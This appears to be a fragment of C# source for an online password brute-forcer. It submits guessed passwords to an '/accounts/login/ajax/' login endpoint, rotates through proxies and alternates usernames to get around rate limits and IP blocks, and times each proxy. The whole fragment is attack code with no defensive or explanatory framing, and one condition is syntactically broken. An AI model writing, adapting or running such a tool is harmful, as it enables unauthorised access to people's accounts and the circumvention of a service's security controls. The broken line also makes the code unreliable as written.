public void SaveProxyTimes() => File.AppendAllLines( "ProxyTimes.txt", ProxyTimes.Select( kv => Proxies[kv.Key].GetProxy(new Uri("https://google.com")) + " :=: " + kv.Value.Average().ToString() ) );
public bool TryPasswordVariant(string password) { //Cookies = new CookieContainer(); RestRequest request = new RestRequest("/accounts/login/ajax/", Method.POST); request.AddParameter("password", password, ParameterType.GetOrPost); ProxyTimer.Restart(); var response = _client.Execute(request); ProxyTimer.Stop(); if (!response.IsSuccessful || response.ContentLength == 127) { if (++ProxyIndex >= Proxies.Length) { ProxyIndex = 0; SaveProxyTimes(); } var lastProxy = _client.Proxy; _client.Proxy = Proxies[ProxyIndex]; ProxyTimer.Restart(); response = _client.Execute(request); ProxyTimer.Stop(); if (!response.IsSuccessful || response.ContentLength == 127) { _client.Proxy = lastProxy; --ProxyIndex; if (CurrentUserIteration > Proxies.Length / 2 ||) { var now = DateTime.Now; UsernameRefreshTimes[UsernameIndex] = now.AddMinutes(12); if (++UsernameIndex == Usernames.Length) { UsernameIndex = 0; } var nextRefresh = UsernameRefreshTimes[UsernameIndex]; if (nextRefresh > now) { Console.WriteLine("Sleeping until {0}", nextRefresh); Thread.Sleep((int)(nextRefresh - now).TotalMilliseconds); } Console.WriteLine("{0} variants tested\t-\tswitching to account {1}", VariantsTried, Usernames[UsernameIndex]); _client.DefaultParameters.First(p => p.Name == "username").Value = Usernames[UsernameIndex]; ProxyTimer.Restart(); response = _client.Execute(request); ProxyTimer.Stop(); } else { int lastIndex = ProxyIndex; do { _client.Proxy = Proxies[ProxyIndex]; ProxyTimer.Restart(); response = _client.Execute(request); ProxyTimer.Stop(); } while ((!response.IsSuccessful || response.ContentLength == 127) && ++ProxyIndex < Proxies.Length); if (!response.IsSuccessful) { ProxyIndex = 0; do { _client.Proxy = Proxies[ProxyIndex]; ProxyTimer.Restart(); response = _client.Execute(request); ProxyTimer.Stop(); } while ((!response.IsSuccessful || response.ContentLength == 127) && ++ProxyIndex < lastIndex); } } if (!response.IsSuccessful || response.ContentLength == 127) { SaveProxyTimes(); Console.WriteLine("Total failure, last password was {0}; {1} total variants tried", password, VariantsTried); Console.ReadLine(); } } } if (!DontLogTimes.Contains(ProxyIndex)) { if (ProxyTimes.ContainsKey(ProxyIndex)) { ProxyTimes[ProxyIndex].Add(ProxyTimer.ElapsedMilliseconds); } else { ProxyTimes.Add(ProxyIndex, new List <long>() { ProxyTimer.ElapsedMilliseconds }); } } ++VariantsTried; ++CurrentUserIteration; ++CurrentProxyIteration; return(response.ContentLength > 60); }